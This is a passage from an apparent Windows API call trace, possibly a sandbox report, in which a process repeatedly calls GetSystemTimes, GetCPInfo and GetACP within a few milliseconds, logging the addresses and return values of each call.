lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.879] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.879] GetACP () returned 0x4e4 [0052.879] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.879] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.879] GetACP () returned 0x4e4 [0052.879] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.879] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.879] GetACP () returned 0x4e4 [0052.879] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.879] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.879] GetACP () returned 0x4e4 [0052.879] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.879] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.879] GetACP () returned 0x4e4 [0052.879] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.879] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.879] GetACP () returned 0x4e4 [0052.879] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.879] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.879] GetACP () returned 0x4e4 [0052.879] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.879] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.879] GetACP () returned 0x4e4 [0052.879] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.879] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.879] GetACP () returned 0x4e4 [0052.880] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.880] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.880] GetACP () returned 0x4e4 [0052.880] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.880] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.880] GetACP () returned 0x4e4 [0052.880] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.880] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.880] GetACP () returned 0x4e4 [0052.880] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.880] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.880] GetACP () returned 0x4e4 [0052.880] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.880] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.880] GetACP () returned 0x4e4 [0052.880] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.880] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.880] GetACP () returned 0x4e4 [0052.880] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.880] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.880] GetACP () returned 0x4e4 [0052.880] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.880] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.880] GetACP () returned 0x4e4 [0052.880] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.880] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.880] GetACP () returned 0x4e4 [0052.880] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.881] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.881] GetACP () returned 0x4e4 [0052.881] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.881] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.881] GetACP () returned 0x4e4 [0052.881] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.881] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.881] GetACP () returned 0x4e4 [0052.881] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.881] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.881] GetACP () returned 0x4e4 [0052.881] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.881] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.881] GetACP () returned 0x4e4 [0052.881] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.881] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.881] GetACP () returned 0x4e4 [0052.881] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.881] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.881] GetACP () returned 0x4e4 [0052.881] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.881] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.881] GetACP () returned 0x4e4 [0052.881] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.881] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.881] GetACP () returned 0x4e4 [0052.881] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.882] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.882] GetACP () returned 0x4e4 [0052.882] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.882] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.882] GetACP () returned 0x4e4 [0052.882] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.882] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.882] GetACP () returned 0x4e4 [0052.882] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.882] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.882] GetACP () returned 0x4e4 [0052.882] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.882] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.882] GetACP () returned 0x4e4 [0052.882] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.882] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.882] GetACP () returned 0x4e4 [0052.882] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.882] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.882] GetACP () returned 0x4e4 [0052.882] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.882] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.882] GetACP () returned 0x4e4 [0052.882] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.882] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.882] GetACP () returned 0x4e4 [0052.882] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.882] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.883] GetACP () returned 0x4e4 [0052.883] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.883] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.883] GetACP () returned 0x4e4 [0052.883] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.883] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.883] GetACP () returned 0x4e4 [0052.883] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.883] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.883] GetACP () returned 0x4e4 [0052.883] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.883] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.883] GetACP () returned 0x4e4 [0052.883] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.883] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.883] GetACP () returned 0x4e4 [0052.883] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.883] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.883] GetACP () returned 0x4e4 [0052.883] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.883] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.883] GetACP () returned 0x4e4 [0052.883] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.883] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.883] GetACP () returned 0x4e4 [0052.883] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.883] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.884] GetACP () returned 0x4e4 [0052.884] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.884] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.884] GetACP () returned 0x4e4 [0052.884] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.884] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.884] GetACP () returned 0x4e4 [0052.884] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.884] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.884] GetACP () returned 0x4e4 [0052.884] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.884] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.884] GetACP () returned 0x4e4 [0052.884] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.884] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.884] GetACP () returned 0x4e4 [0052.884] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.884] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.884] GetACP () returned 0x4e4 [0052.884] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.884] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.884] GetACP () returned 0x4e4 [0052.884] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.884] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.884] GetACP () returned 0x4e4 [0052.884] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.884] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.884] GetACP () returned 0x4e4 [0052.884] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.885] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.885] GetACP () returned 0x4e4 [0052.885] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.885] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.885] GetACP () returned 0x4e4 [0052.885] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.885] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.885] GetACP () returned 0x4e4 [0052.885] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.885] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.885] GetACP () returned 0x4e4 [0052.885] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.885] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.885] GetACP () returned 0x4e4 [0052.885] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.885] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.885] GetACP () returned 0x4e4 [0052.885] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.885] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.885] GetACP () returned 0x4e4 [0052.885] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.885] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.885] GetACP () returned 0x4e4 [0052.885] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.885] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.885] GetACP () returned 0x4e4 [0052.885] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.886] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.886] GetACP () returned 0x4e4 [0052.886] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.886] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.886] GetACP () returned 0x4e4 [0052.886] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.886] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.886] GetACP () returned 0x4e4 [0052.886] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.886] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.886] GetACP () returned 0x4e4 [0052.886] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.886] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.886] GetACP () returned 0x4e4 [0052.886] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.886] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.886] GetACP () returned 0x4e4 [0052.886] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.886] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.886] GetACP () returned 0x4e4 [0052.886] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.886] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.886] GetACP () returned 0x4e4 [0052.886] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.886] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.886] GetACP () returned 0x4e4 [0052.886] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.887] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.887] GetACP () returned 0x4e4 [0052.887] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.887] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.887] GetACP () returned 0x4e4 [0052.887] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.887] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.887] GetACP () returned 0x4e4 [0052.887] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.887] 